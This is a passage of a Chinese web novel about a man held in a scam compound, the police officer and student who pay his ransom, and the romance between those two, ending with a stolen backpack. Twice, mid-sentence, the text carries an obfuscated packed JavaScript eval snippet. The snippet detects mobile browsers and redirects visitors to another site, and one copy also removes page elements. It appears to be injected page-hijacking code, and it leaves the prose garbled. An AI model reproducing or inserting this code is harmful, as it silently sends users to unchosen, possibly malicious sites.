只见两个人自顾自走进屋内,一个是小卖部的老板,脸色讪讪,像是被人带着来的。 另一个是个中年男人,穿着质地精良的白衬衫,笔挺地站着,他笑了一下,招呼道:“周隽、三十二期,欧美盘口。” “我姓叶,园区的管理。”他说着在桌边坐下,姿态自然地翘起了二郎腿。 叶三抬手在桌子上虚按了一下,语气轻巧:“没什么事,随便看看。走得有点渴了,能不能麻烦你,泡杯茶?” 周隽眼睫微动,低声说:“……这里没有茶叶。” “喝点白水也行。”笑容在嘴角一闪而过,叶三盯着周隽:“热水,总有吧?” 周隽点点头,从桌角提起一个红色暖瓶,倒了一杯水递过去。 叶三接过,指腹轻轻摩挲着杯壁,“不太热了,我想喝点热的。” 周隽站着没动,手指在身侧收紧,他迎上叶三的目光:“还没到供热水的时间。” 叶三微微侧身,换了个更舒服的姿势,笑道:“你不是才买了一个热水壶吗?麻烦你烧点水。” “这儿没有纯净水……” “麻烦你去水房接一点。” 很耐心,很温和,但口气不容拒绝。周隽默了一瞬,走到窗边,从窗帘背后取出一个白色的热水壶。 “稍等。”周隽拿着壶走出了门。 叶三唇边的那抹笑倏然收起,他扫了一眼小卖店老板,问:“是那个吗?” 小卖部老板点点头:“是,前几天就是他来我这儿买的,跟方便面一起拿走的。” “确定吗?”叶三问。 “确定。”小卖店老板点点头,“现在那种老式水壶很少见了。” 楼道狭窄,光线昏暗,水泥墙皮剥落,空气中弥漫着发霉的潮气。 叶三在走廊里与从水房出来的周隽擦肩而过,招呼了一声,“不想喝了,下次再见。” “老板,他会不会以前有一个,搞破坏用掉了,才要买一个新的。” “能设计出那种机关的人,如果已经有一个了,又怎么会蠢到自投罗网?” 走出楼,一声悠长的钟声从远处传来,缓缓地荡进傍晚的风里。 叶三停下脚步,抬手理了理衬衫的褶皱,双手合十,面朝西边拜了三拜。 神佛?人性? 呵…… 他望向天边那抹即将坠落的金红光晕,眼底掠过一丝玩味,低低嗤笑道:“要真是他干的——“ “那确实是个人才啊……” 门关上的那一刻,屋内重归沉寂。 电热丝其实是周隽从自己的电热杯里拆出来的,去小卖店买壶,是一步险招。 毕竟,方便面盖子一定会暴露,与其等着被戳破,不如主动再卖一个破绽出去,说不定能搅乱局面,给自己多争取一点时间。 拿捏人性,操纵误导,扰乱判断—— 是这座诈骗园区教给他的。 周隽很清楚,那个男人并没有真的相信他,只是暂时还没找到明显的漏洞罢了…… * 月亮挂在半空,夜风轻拂,带着一点温润的暑气。 陶律夏从教学楼走过来,坐到了罗乐身边:“你怎么进来的?” “上次办案来了几次,现在这值班门卫我认识,找个理由就进来了。” 罗乐偏过头看他:“怎么又这么晚?你不是已经保送了吗?” “有个学科活动。”陶律夏解开袖口的扣子,轻轻挽起来,露出一截干净的手腕线条。 “下次早点告诉我,你要来,我可以弄快点。” “吃饭了吗?”罗乐问。 “学弟请客,吃了麦当劳。”陶律夏回。 “你还真是喜欢吃麦当劳。”罗乐咕哝了一句,“什么时候跟我去吃一次?” 陶律夏愣了一下,心说,我怎么就喜欢吃麦当劳了?可想到这个人等了自己一个多小时,心忽然软了。 他转过头,看着罗乐:“要不现在去?去吃……冰淇淋。” “真的?你不怕血糖波动?”罗乐眼神一亮。 “走吧,就吃三勺。”陶律夏站起身。 三勺,确实就是字面意思的“三勺”,甚至连“三”都算勉强。 罗乐亲眼看着他用小勺刮下一点点冰淇淋,像做实验一样小心翼翼地放在舌尖上。咽下去的表情更是精彩,仿佛吞了一口带着阻力的材料,眉眼都跟着紧了下。 “不喜欢吃?”罗乐放下勺子,看着他。 陶律夏点了点头:“我几乎没吃过冰淇淋和雪糕。” “……那你干嘛要大晚上的来这麦当劳?”罗乐皱着眉问。 “想尝尝。”陶律夏低声说着,又挖了一点点,慎重地送到嘴边,像在完成某种自我惩罚。 “别吃了!” 罗乐气得一把抢过杯子,“高糖高脂,没有一点营养,你干嘛要勉强自己吃不喜欢的东西!” 陶律夏愣了一下,看着那张恼火的脸,心想那你又干嘛这么不高兴呢? 一种不明成分的、甜津津的东西从舌尖一路滑进心口,黏黏糊糊地挂着,半天都没化开。好奇怪啊,冰淇淋明明没吃多少…… “还笑!”罗乐狐疑地盯着他,“你笑什么?” 我在……笑吗?陶律夏下意识地转头,看向玻璃窗,反射面略微模糊,但他还是清晰地捕捉到自己的表情—— 是笑,没错,嘴角上扬,表情放松,稍作分析,大概是因为愉快。 “我有正事和你说。”罗乐声音低了几度,换回办案时的正经。 “嗯?”陶律夏从神游中回过神来,目光落在他脸上。 “冯警官帮忙牵线,找了他以前办案时认识的人,算是半个情报掮客吧。那边根据我们给的位置确认了,周隽在妙兰的AA园区,是个诈骗基地。 “园区那边也不想惹麻烦,说得很清楚,只要钱到位,人可以放。” 陶律夏眉心一动:“真的?” “真的。”罗乐点点头,“但需要交赎金,园区把这个叫赔偿金,说是为招人付出的成本。周隽这种情况,一般是八千美金,交完后会把人送到昆塔。 如果昆塔那边认定他没干什么严重的违法勾当,属于受害者,就能通过我们大使馆申请遣返。” “听上去有操作空间。”陶律夏点点头。 “但这次园区开口要一万六千美元。” “翻了一倍?”陶律夏确认。 “嗯,园区老板说他是‘人才’,不能按普通人来处理。你这教练还成人才了?” 罗乐把最后一根薯条吃完,撇了撇嘴,还是给出了客观评价:“不过,看他传回来的园区细节,确实有点东西。” “嗯,他是网络迷踪节目的爱好者。”陶律夏说着,翻了翻手机。 “冯警官介绍的这个人靠谱吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939325|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 罗乐:“基本靠谱,但也不能排除中间可能会出问题,毕竟这种交易……你懂的。” 陶律夏想了想,果断道:“先把人救出来,赎金我来付。” 罗乐抬眼看了他一会:“你哪来这么多钱?” 陶律夏:“我有信托基金。金额大的话,现在还需要监护人签字,这个数额我可以自由支配。” “你可真是……”罗乐偏过头,轻啧一声,把“壕无人性”四个字咽了回去。 “这么大一笔钱,我们还是联系下他家里吧?” 陶律夏:“他家只有一个奶奶,上次去你也看到她手机上的转账短信了,八千她可能都拿不出。” “我先垫上,把人救出来,让周隽来还吧。” 罗乐也知道这是目前最可行的方案,正要点头,就听见陶律夏风轻云淡地补了一句: “他如果实在还不上,还可以陪我练网球。” “……” 圣代杯“咔”地一声裂了,化开的冰淇淋汤汁顺着杯壁流到桌面。 罗乐起身将杯子丢进垃圾桶,从柜台拿回一叠纸巾。他一边猛擦桌面,一边冷嘲热讽:“1.6万美元,你打算跟他打一辈子网球?” “有何不可?”陶律夏微微一笑,分析起来,“我不是职业选手,理论上只要膝关节功能正常,反应速度不过度下降,就可以持续进行轻强度网球训练。” 罗乐呼吸一窒,脸色瞬间变了:“……你什么意思?想让他陪你打到七老八十?!” 他说着一把攥起那团湿透的纸巾,朝垃圾桶砸去。 纸团在空中划出一道弧线,落进桶底,发出“砰”的一声,力道之大,像是把所有火气都扔了进去。 随着那声闷响,陶律夏才后知后觉地意识到——罗警官好像又生气了。 明明只是陈述了一个经济与生理层面的可行性方案,他的反应是不是有点太大了? 眉头皱起,耳根泛红,却还在强撑着稳定声线,努力进行「非暴力沟通」: “你怎么不让我陪你打?” “我陪你打不好吗?我打得是不是比他好!” “我不仅能陪你打,我还!我还免费!” ……好像,更在意「谁」陪打。 “哦,打网球还债是不太合理。”陶律夏忙接了一句。 “我重新设计一个还款计划吧,周期合理,利率为零。” 他说着,抬手碰了碰罗乐的胳膊,低声问:“你有没有补充建议?” 罗乐哼了一声,侧过脸:“周隽要是真有困难,也可以给他一个缓冲期吧?” “好呀。”陶律夏点了点头,唇角微弯,“那我把这条也写进去。” “除了‘网络迷踪’和网球,你俩还有什么共同爱好?”罗乐又问。 “没了。”陶律夏干脆作答。 可对面的警官却盯着他,眼神带着探究,像是在等他补充“罪证”。 陶律夏见状,只好老实地加上前提:“截至到目前为止。” 罗乐脸色一沉,又不高兴了,有必要这么严谨吗?还截至目前为止!意思是以后还得增加…… 他又问:“你们经常一起看那个‘网络迷踪’?” “没有一起看,”陶律夏坚定摇头,“只是……刚好都喜欢看。” “我对你的了解也太少了。”罗乐一脸明晃晃的不服气,“得补一补。” “什么?” “快问快答,规则很简单,我问你答,不能反问、不能开脑内会议,答题时间不超过三秒。” “听清楚了吗?” 陶律夏刚要反驳,罗乐已经自作主张地切入状态:“你喜欢猫还是狗?” “狗。” “喜欢山还是海?” “山。” “喜欢春天还是夏天?” “夏天。” “喜欢星战还是星际?” “星际。” “如果能有一个超能力,想要什么?” “预判变量。” “喜欢独处,还是和很多人在一起?” “独处。” “找对象更看重能力,还是情绪价值?” “长得帅的。” “我和你教练掉水里,你救谁?” “你……” 罗乐“噗”地笑出声来,整个人都往前凑了凑,他看着陶律夏问:“我算不算?” “算什么?”陶律夏微微往后靠了靠。 “长得帅的。” 37. 你正常吗? 两人走在人行道上,梧桐叶片被风一吹,发出哗哗的轻响。 “问你话呢,我算不算帅的?”罗乐不死心地追问。 陶律夏点点头:“客观上……算帅。” “什么叫客观上?”罗乐的脸立刻黑了下来,“主观觉得一般?” “如果必须要量化……那就是客观的十倍。”陶律思考片刻,给出了最终答案。 罗乐脚下一滑,踩进了水坑里,水从袜子渗到脚背,连着理智和心跳全乱了。 这人知道自己在说什么吗?十倍?开什么玩笑,自己哪有那么帅…… 那句「你是不是喜欢我」在嘴里转了好几圈,最后拐成一句毫无技术含量的问句,“十倍……是什么意思?” 陶律夏:“你对我主观认知的干扰强度,如果平均水平是1,那你大概是10倍。” “所以,你是不是对我有些奇怪的感觉,比如好感?”罗乐一咬牙,决定豁出去了。 “我确定这是一种奇怪的感觉……”陶律夏的目光落在前方水洼上,“但这种感觉是趋近于好感,还是在好感之上,我还在定义。” “你老实说,”罗乐看着他,半晌才憋出下半句,“是不是……谈过不少?” “谈过什么?”陶律夏抬起头看他。 “恋爱!”罗乐咬牙。 “哦……” “哦什么!问的是你谈过几次!”罗乐快被他的淡定气疯了。 “0次。” 恋爱经验是零,撩人的天赋却开局全给你点满了吗?罗乐声音软了下来:“你说你,怎么老能说出这种,让人听完脑袋发烫的话?” “我只是如实表达感受,并没有情感操控的意图。”陶律夏又端出那张天真无害的小脸。 “你对别人可别这么如实表达!”罗乐板着脸,“什么十倍、干扰强度这种话,不许和别人说。” “嗯。”陶律夏点点头。 “你这是答应了?”罗乐愣了一下,没想到「陶神」这么干脆。 “你是第二个对我的情绪造成显著扰动的人,没有其他干扰源,所以,我不会同别人说。” “……那第一个是谁?”罗乐维持着表面的漫不经心,心却在扑通乱跳。 陶律夏没回答,一派正经的神色又重新归位,他的瞳色很黑,眼睛里藏着细碎的光,看不透在想什么。 罗乐没再催问,晚风轻抚,两人的步伐默契同步。一直走到公寓门口,陶律夏才转头对他说:“我妈妈。” “再见,罗警官。” “等等等等!”罗乐往前走了两步,“要不要再采集一次样本?” “不建议频繁采样,会干扰结果。”陶律夏一口拒绝。 “哪里频繁了!”罗乐立刻不服,“上次还是九天前,你又没设定采样周期。” 陶律夏想了想,轻叹道:“好像……是唉。” 话音刚落,罗乐就像弹簧一样弹过去,毫无预警地把人抱了个结实。 “‘好像是唉’——这是你给我的暗示,我听懂了。”他手臂收得很紧,声音带着掩不住的得意。 不知疲倦的飞蛾扑向楼门口的灯,发出细细簌簌的声响。 过来好一会儿,罗乐才慢慢松开一点距离,眼神一寸一寸地描摹着那张脸。 “晚安,律夏。” 他松开手,笑着转身,三步并作两步地跳上了停靠在路边的公交车。 车门“嘶”地一声合上,车尾灯拖着一团温柔的红光,一路延伸进了微醺的夜色里…… 回到家,陶律夏做完两套题集,看了眼时间,距离那人跳上公交车,已经过去了五十分钟,自己的心还是和被他抱住时一样,软软的。 他放下笔,点开微信看了一眼,没有消息。 按照夜间城市平均通勤速度,加上步行时间估算,那人现在应该已经到了。 连条信息都没发,什么人啊!怎么,撩完,就走了…… 指尖在屏幕上停了一会,准备退出时,陶律夏忽然注意到一点不同,视线微微一凝,他点开那人的头像,放大一看—— 扁扁的橘子上面是圆圆的眼睛,咧开的嘴,还有一对小狗耳朵。 是他在咖啡店画的那一只。 * 绿茵场上,叶三一记远射,皮球飞滚入网,周围爆发出一阵欢呼。 这是园区每月一次的“活动日”,由几个诈骗园区联合举办的足球赛。 美其名曰“加强团队建设,丰富业余生活”,实际上,不过是用来稳定情绪、强化管理的手段。 叶三朝看台方向摆了个“胜利”的手势,队友们兴奋地围上来,他笑着逐一碰拳,恰如其分地演绎着“亲民但不失威严”的园区掌权者形象。 等欢呼声逐渐退去,他转身朝裁判做了个换人手势,淡淡一笑:“留点机会给年轻人。” 阳光不烈,风从远处吹来,草坪上泛起浅浅的波纹。 叶三拧开矿泉水,慢悠悠地喝了一口,神情松弛地扫过全场,像在巡视自家后花园。 忽然,他的视线在周隽身上停住,略一思索,便朝那个方向走去。 “怎么不上场玩玩?我记得你运动能力不错。”叶三在他旁边坐下,漫不经心地开口。 周隽:“我不会踢足球。” “也是,足球讲究配合,而你……”叶三轻笑了一声,拧紧瓶盖,眼色微暗,“更适合一个人,干一票大的。” “懂得利用资源,判断时机,控制风险,还真的传出了消息……” “人才啊,干我们这行最缺人才。”叶三手指轻敲着膝盖,一下又一下,语调轻松地夸奖。 “但人才管理成本太高,变成了危险。你说该怎么办?”他偏过头,看向远处。 两只水鸟从水面疾掠而过,白色羽毛在阳光中倏然一闪,旋即隐入远处的河滩。 “你说,我是把你卖去别的园区,还是干脆点——”叶三慢吞吞地凑近,声音低而柔软,“把你丢到河里?” 周隽背脊一僵,下意识吞了口唾沫。 “哈哈哈——”叶三忽然笑出声来,“这么紧张干嘛,和你开玩笑的。” 他靠回座椅,眯起眼,神情淡 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“这次真是多亏了你。”罗乐站起身,把脏衣服扔进洗衣篮,又把行李箱里的东西拿出来归置好,重新塞回床铺下。 “冯警官介绍的那个中间人阿纳,非常靠谱。周隽已经送到昆塔移民局了,按流程走,没意外的话,一个月左右能回国。” 林岘勾起嘴角,笑道:“等你前任顺利归国,你是不是又双叒打算跑一趟槟州,去机场迎接,外加献花?” “怎么说话呢你?”罗乐拿起U形枕朝他扔过去,“哪门子的前任?” 林岘接住U形枕,懒洋洋地靠在床头:“经此一役,是个人都能做出正确选择。那网球教练不就成前任了嘛。” 罗乐:“……你能不能稍微、适度、偶尔也正经一点?” “我说,哥们。”林岘盯着他看了一会儿,语气慢了下来,“我确实想正经地问你一个问题——” 林岘坐直了一点说:“你发现自己喜欢上一个男孩,就没怀疑过?没觉得……这事儿可能有点不对?” “他太迷人了,我顾不上想别的。” 林岘动作一滞,糖块硌在后槽牙上。他本以为罗乐会敷衍过去,或者一脸无所谓地说“老子乐意”。 但他没有…… 他没有半点犹豫,没有丝毫要找借口的意思,没有像此前任何一次一样,板着脸否认。 他神情平静,语气笃定,仿佛这是再自然不过的答案。 “我走了,明天晚上请你吃饭。”罗乐拉开门,头也不回地说。 “哎…….” 门“砰”地一声关上,屋里只剩下空调低低的嗡鸣声。 林岘咬碎嘴里的糖块,吞了下去,他抬手看了眼表,刚刚五点。 ——近在眼前的兄弟,吃顿饭要排到明晚。 ——远在十公里外的小男朋友下课,他就得提前两个小时去校门口等着。 林岘的目光落到桌上那两包咖啡粉上,还学会了给人带伴手礼?! 爱情,竟真有这么神奇? 38. 夏日鸣唱 放学时间,罗乐坐在一辆自行车上,一条腿随意撑着地,另一条伸得老长。 他现在也不怕超话上墙了,就明目张胆地在校门口等着,姿态比保安还从容。 一个男生径直朝他走来,抬手一扬,把书包扔进了自行车的前筐里。 “让让。”男生挑了挑眉,示意罗乐从车座上起来。 罗乐低头扫了一眼自己屁股底下的软垫,这才反应过来,原来是人家对象的专座。他讪讪起身,站到一边,见男生接过女生的书包,熟练地背在自己肩上。 “去吃炸串吗?”男生殷勤地问一旁的女生,刚才还满脸不耐烦,这会儿笑得毫无保留。 小小年纪,当舔狗倒是很熟练!罗乐嫌弃地哼了一声,他本想再找个地方坐着等,刚迈出一步,就看见陶律夏出来了。 他今天背着一个橙色书包,这颜色已经连续背一周了。 超话的姐妹们分析,「陶神」最近“情绪很高,活力值拉满”。 “你回来了。”陶律夏声音轻快地和他打招呼。 罗乐的视线跟着他理书包带的动作滑过去,忽然冒出个念头—— 要不然自己也搞辆单车,最好是那种带大车筐的,这书包一放刚刚好。 或者,干脆自己亲自上阵?他伸手虚虚地勾了一下垂在一边的书包带,声音不自觉软了些:“沉吗?” “还好,我们去哪?”陶律夏仰起头问他。 “你想吃什么?要不……”罗乐停顿了一下。 “吃点炸串,再去晚自习?” “买点三明治,再去公园。” 两人的声音在空气中一撞,节奏短暂地卡了一拍,罗乐轻笑出声:“走,去公园。” 买完吃的,罗乐把打包袋塞进陶律夏怀里:“这个你拿着。” “书包我帮你背会儿。”说完,他把人肩上的书包薅下来,单手一甩,背在自己肩上,先一步走出了门。 五月末,马路中央铁丝网上月季花摇摇欲坠。 它们一夜之间从城市的钢筋水泥里破土而出,将单调的环路装点成流动的花海,又悄无声息地落败…… 两人一路走进公园。陶律夏熟门熟路地绕到池塘边,指了下树荫下的空长椅:“那边。” 刚坐稳,他就从书包里拿出驱蚊水,麻利地往身上喷了几圈,接着又转头朝罗乐身上喷了几圈。 他拆开一个小袋子,从里面拿出几枚圆圆的贴片,不由分说地贴在了罗乐手腕上。 “驱蚊贴效果很有限,但这种场景下,可以防止蚊子精准落在你的手腕。” “……你是不是提前踩过点?”罗乐一脸震惊地看着他。 “没有。”陶律夏神情自若地把瓶子放进收纳袋,“临时决定的。” “嗯。”罗乐眼神微妙地从收纳包上扫过,“临时决定,带了湿巾、驱蚊水、防蚊贴、手电筒……合理得很。” 陶律夏没搭话,只是低下头,又把罗乐手腕上的驱蚊贴边缘仔细压了压。 他抬起脸,声音轻淡:“等周隽回国,会怎么处理?” “先到云南接受审查吧。”罗乐随口答着,低头看了眼手腕上的驱蚊贴。 怎么还是小猫图案,那猫还戴个眼镜?!什么玩意啊这都是…… “回来审查,认定他是受害者还是参与犯罪?”陶律夏又问。 罗乐点点头:“如果他确实有违法事实,那也只能依法处理了。” “嗯。”陶律夏从袋子里拿出三明治,低头咬了一口,他吃得很慢,腮帮子一鼓一鼓的,像只安静进食的小型啮齿动物。 罗乐这么想着,竟真有个毛茸茸的小东西嗖地从树干蹿下来,钻进长椅旁的灌木丛里。 他心笑,拿起一个三明治,也吃了起来。 “总归是自由了。”陶律夏咽下最后一口,又慢吞吞地说,“希望他没事。” 不远处传来水鸟扑棱棱拍水的声音,罗乐闷声道:“光说他,你就不能说点别的?” 陶律夏偏过头笑道:“谢谢你,麻烦你又跑了一趟。” “夸一句「哥真可靠」不是更好?”罗乐笑着看他。 二人对视了几秒,陶律夏转过头望向远方。 晚霞还没完全褪去,月亮悄无声息地从东方升起,在玫瑰色的薄纱下露出温柔的弧边。 “你可靠,是默认项。”陶律夏说。 罗乐愣了一下,他当然知道自己算靠谱的,甚至称得上专业素养过剩的那一类,出任务稳,扛责任快,朋友找他帮忙,十有八九都能搞定。 “靠得住”这词,罗乐不是没听人夸过,要不然也不会主动抛出来,等着他来接。 但真听他说出口,那感觉还是很不一样。 “你可靠,是默认项。”如果没有理解错的话,这是他给自己的信赖。 信赖是什么? 不是背锅、救急、撑场面,是那种不用表现、不用证明,就在心里打好了勾的,不经声响、沉甸甸落下的分量。 罗乐的手指微微收紧,心口有团火热的东西窜了上来,没能拦住,他转头问:“我能不能……透支一次。” “不算透支,采样规则,一见一次。”陶律夏说完,把头靠在他的肩膀上,动作不算大,却实实在在地贴在了他怀里。 罗乐僵坐了好几秒,才抬手将胳膊绕过去,把人圈在怀里。 ——什么都好,就是不按常理出牌,老是突然来这么一下,撩得人五感失调、心慌意乱。 晚风吹过,池塘的水面泛起点点波光,草丛深处传来一阵“呱——呱”的叫声。 “黑斑蛙。”陶律夏随口说道。 罗乐把人揽紧了一点,下巴垫在他的头顶,轻声开口:“你是蛙语通吗?听声就知道是哪位选手?” “主频不算高,节奏慢,叫声有拖尾,而且现在是五月末,黑斑蛙是这片水塘的主角。” “这个季节偶尔也有泽蛙,它们叫声的音节很短,池塘那边的是花背蟾蜍,叫声频率很低,像牛叫。” 罗乐的嘴角不自觉地勾起笑。 「陶神」是什么人啊,一块石头也能讲出一节《地质概论》的男人,在这种时候和你贴脸讲蛙有什么可奇怪的呢。 “行行行,又从蛙语通变成蛙的私人翻译官。”罗乐低下头,口气里全是宠溺。 这一低头,视线恰好撞进陶律夏的眼睛里。他正仰着脸看着自己 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“东亚小灰蛾。” “你是不是连它们夜里几点上班都知道?” “不确定几点上班,只知道是个灯控。”陶律夏低下头,眉眼间藏着狡黠的笑。 草丛深处传来一阵清脆的“啯——啯啯——”节奏明快、声调高亮。 罗乐眼睛一亮,朝声音那边走了半步:“这个我熟,蝈蝈。” 陶律夏蹲下身,侧耳听了几秒,点头确认:“发声器在前翅,主频大概三到四千赫兹,音色清晰,节奏规整。它在求偶。” “优秀雄虫拼命展示体能和基因质量?”罗乐啧了一声。 “也可能是吸引声控的渣蝈蝈。”陶律夏忍住笑。 “芦苇为什么这么响?” “叶缘有锯齿,风一大就会摩擦出声音。 “那只大个的是啥?” “螽斯,蝈蝈的亲戚,叫声像打电报。” “这是什么?” “艾草,能驱蚊子” “那个蓝色的呢?” “鸭跖草,能止血。” “行行行,你以后最差也能当个江湖郎中。”罗乐感慨道。 “……” 月亮升到半空,云层边泛起一圈温柔的银光,罗乐看向身边的人,声音低了下来:“你经常来公园看这些吗?” “偶尔来,花花世界能让人心里安静。” “等你放假了,我们去郊外吧。”罗乐说,“去看更多的花花草草。” “嗯。”陶律夏应了一声,转过头,“你也喜欢这些?” “以前没在意,觉得看花看草是退休以后的事,现在不一样了。”罗乐声音低了下来。 “现在,我喜欢了。” 月光静静洒落,草丛深处又响起蝈蝈不遗余力的求爱鸣唱。 “你说的那些——” 罗乐的眼神落在陶律夏脸上,没有再移开:“虫鸣、花香、风声我都喜欢,不过最喜欢的,是你说话的样子。” “整个花花世界,我最喜欢你。” 39. 是第几次? 遇到他之后,陶律夏出现了很多的“异常”。 恐慌、迷惑、惊喜、欢乐……这些情绪像一组复杂反应的前驱物,悄无声息地扰乱了他,令他不断偏离原本稳定自洽的轨道。 刚开始还能用“环境干扰”、“亲密错觉”、“化学激素”等等来解释,直到这句表白清清楚楚地落在了耳边。 陶律夏找不到任何合理的缘由能解释,现在脑子里只剩下一个念头持续震荡—— 自己想要抱他…… 这不是一个合理的反应,有些莽撞,写满贪心,还违背了刚刚才设定好的“采样规则”。 但就是,想…… 这是此刻身体最诚实、最强烈的渴望,是经历逻辑审判和层层否定之后,依旧无法推翻的明确结论。 “罗警官,”陶律夏抬起头,神色沉静道:“我七岁开始读柯南·道尔,福尔摩斯全集翻了不下十遍。” “我喜欢福尔摩斯,他讲逻辑,善推理,热爱归纳,冷静精确,很少受情绪所扰。” “他在《四签名》中说过那句推理名言:当你排除了所有不可能,剩下的那个,不管多么离奇,都是真相。” 风从身后吹来,吹皱了一片心湖。 陶律夏直视着罗乐,神情里是未经掩饰的坦诚:“我也遇到了一道推理难题,就是你。排除了所有可能,我好像找到了唯一的解。” 他停了一瞬,然后缓缓张开双臂:“我找到的真相就是——喜欢你。” 罗乐没有一丝犹豫,迈前一步,揽住陶律夏的背,另一手落在他腰间,将人带进怀里。 两人呼吸纠缠,罗乐低下头,手指轻轻抬起他的下巴,看见他闭上了眼睛。 没有试探,也没有迟疑,罗乐俯身吻了下去,唇瓣贴合的瞬间,所有炽热的情绪像潮水般漫上来,在彼此的口腔间翻涌、搅动,甜的、软的、橘子味的…… 罗乐整个人被一阵眩晕吞没,脑子变成一团浆糊,甚至忘了自己是怎么收回的呼吸。 直到草丛深处又响起渣蝈蝈的鸣唱,才提醒他,他还站在地球表面。 “是第几次?”耳边响起一句问询。 “嗯?”罗乐没缓过来,迷迷糊糊地应了一声。 “我想知道,我是不是第一个。” 罗乐一下就被问清醒了,他往后错了半步,捧住陶律夏的肩榜,一脸“怎么刚亲完就要接受情史审查”的震惊表情。 “如果不是,我会处理好自己的情绪。但如果是……我想郑重一点,记下来。”声音认真得近乎固执。 “初吻!初吻!哥的初吻,给你了!”罗乐脸烫、手抖、心脏还在打军鼓,但还得压低声音在小男友耳边发誓:“身心唯一,只属于你,行了吧……” 陶律夏垂下眼眸:“如果这是你的初吻,你刚才的表现,有点过分熟练。” 罗乐当场烧红了脸:“我熟练啥了?!” “动作流畅,角度精确,停顿恰当……几乎没有撞到鼻子。” “那是因为你不动!我还得自己找角度!”罗乐的声音高了一个度,又飞快压低了些,闷声补了一句:“老子慌得要死好吗,嘴唇都在抖!” 陶律夏微微点头:“……好,那我把‘嘴唇发抖’也记下来。” 罗乐一把把人拉过来,又抱又压地把这个学术疯批往自己怀里塞:“你给我别记了!一个字也不许记!” “实验记录要完整。”陶律夏看着他,眼底笑意泛起,却还硬撑着正经,“至少得写清楚,你是因为第一次才这样。” “你再多说一句——”罗乐压低声音,手掌贴上陶律夏的后颈,“我就要……再来一次。” 第二次比第一次还要深情,又让人窒息,陶律夏被亲得思绪断片,整个人像被强制更新了一遍。 明明就没有多说,却还要来,而且还……蛮野的。 他眼神都有点失焦,撑在罗乐胸前,耳尖红得发烫,气息还没喘匀:“……不记了、不记了!” “陶老师这就崩溃了?”罗乐带着点坏笑凑近,“实验记录都要放弃了?行,我再来一次,让你彻底交白卷好不好?” 陶律夏一听,慌忙抬手按住他的肩膀:“你、你冷静一点!” “冷静什么!”高大的身影带着压迫感逼近,陶律夏下意识地闭上了眼,温热的气团在脸前萦绕,最后却只有一个极轻的吻落在了额头上。 “吓你的。”罗乐把人揽到怀里。 陶律夏刚刚回过一点神,忽然一道光从边上晃过。他像被烫到似的一抖,猛地推了罗乐一把,“有人!” 罗乐动作更快,一手扣住他的后脑将人护进怀里,一手替他挡住那抹游移的灯光:“怕什么?要是真有人撞见,也只能看到我。” “咱们……走吧。”陶律夏僵硬地从他怀里脱开。 晚风温柔,连树影都晃得轻慢。 “等等——”快走到公园门口了,罗乐忽然脚步一顿,声音从慵懒转为清醒。 “你书包没拿。” “哦。”陶律夏愣了一下,点点头,“回去拿吧。” 两人快步折返…… 夜色如墨,风有些凉,蛙鸣声声慢,一切如常,唯独那只橘色书包,没了。 站在空荡荡的长椅前,罗乐沉默了整整半分钟,他托着下巴扫视四周:“有没有可能是记错位置了?不是这张椅子?” “是这里。”陶律夏转身半步,视线快速掠过四周。 “西北方向五米内无遮挡,可以看到月亮,东南面第三盏路灯亮度偏低,而且灯罩裂了。正对面是池塘,从这边走过去大概是三十八步。” 陶律夏指向长椅一侧:“左边是个花池,旁边有圆形垃圾桶和小消防箱。” 接着,他低头看向长椅边上,“椅子右下角有块斑驳污渍,我坐下时就注意到了,像格陵兰岛的地图。” “椅子扶手表面有一大块涂漆脱落,露出了里面的木质层。”陶律夏顿了顿,抬眼看向罗乐,笃定道—— “是这里没有错,我的书包被人拿走了。” “靠!!”罗乐低声爆了句粗口,他一个警察,谈个恋爱居然还能让人趁机偷了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“纸质文件袋一个,里面是两位老师手写签名的夏令营推荐信原件,其中一位本周已出国,补电子签名,需要在一周内完成,以赶上申请Deadline。” “还有户外用品收纳包一个,日常用品收纳袋一个,还剩三分之一的橘子味漱口水一瓶、软糖半盒……” “等等!”罗乐终于绷不住了,“你到底是上学呢,还是出差呢?” “你带这么多东西干嘛?你背着多重啊!你那是书包,还是多功能百宝箱?” 陶律夏抬头看了他一眼,继续平稳地播报:“最后就是一个橘色的书……” 话没说完,他声音一顿,后背瞬间绷紧,“……我的铃铛!” 下一秒,音量陡然飙升—— “我的铃铛还挂在书包上!” 说着,陶律夏几乎是条件反射地抓住罗乐的胳膊,嚷道:“……你给我赢来的生日礼物!被!小偷!偷!走!了!” 混合了资产损失、信息泄露、数据外流的多重高危百宝箱没了,尚能冷静盘点。 此刻却濒临破防,语调惊颤到几乎变形,像个炸毛的小猫,拽着他的胳膊,眼神里全是不知所措的委屈。 陶神真是天真怪诞,可爱到……离谱! 罗乐感觉自己的心都快要化了,他一把将人拽进怀里,掌心贴着他的后脑轻轻抚了抚,下巴抵在了他的发旋上。 “哥给你找回来,一定全给你找回来。” 40.知识型狗狗 “走,去查监控,出入口也许能拍到那个贼。” 陶律夏还没反应过来,就被罗乐拽着往前走了两步:“……我们要自己查?” “当然!”罗乐头也不回地说,“我要连你书包都找不回来,以后怎么去校门口接你?怎么跟你说‘有事找哥哥‘?” “保安能给我们看吗?” “他得给我们看。” 保安亭在公园北门,罗乐气势汹汹地推门进去,看向那个正看着短视频笑得嘎嘎响的保安,不带任何铺垫地发问:“晚上是你值班?” 值班保安被问得一愣:“啊?是……怎么了?” “我家狗丢了,我要调一下20:18分到现在的出入口监控。” 保安刚想反问什么,一眼对上罗乐那张“正气凛然但心情很差”的脸,被他“丢狗”的气势震住,老老实实地点开了监控:“在这儿,你们自己看吧。” 他往后靠了靠,抬手揉了揉发酸的脖子,暗暗想着:帮人找狗也算是积德。 本来以为这俩人看两眼就走,结果二十分钟过去了,还是一左一右杵在那儿。 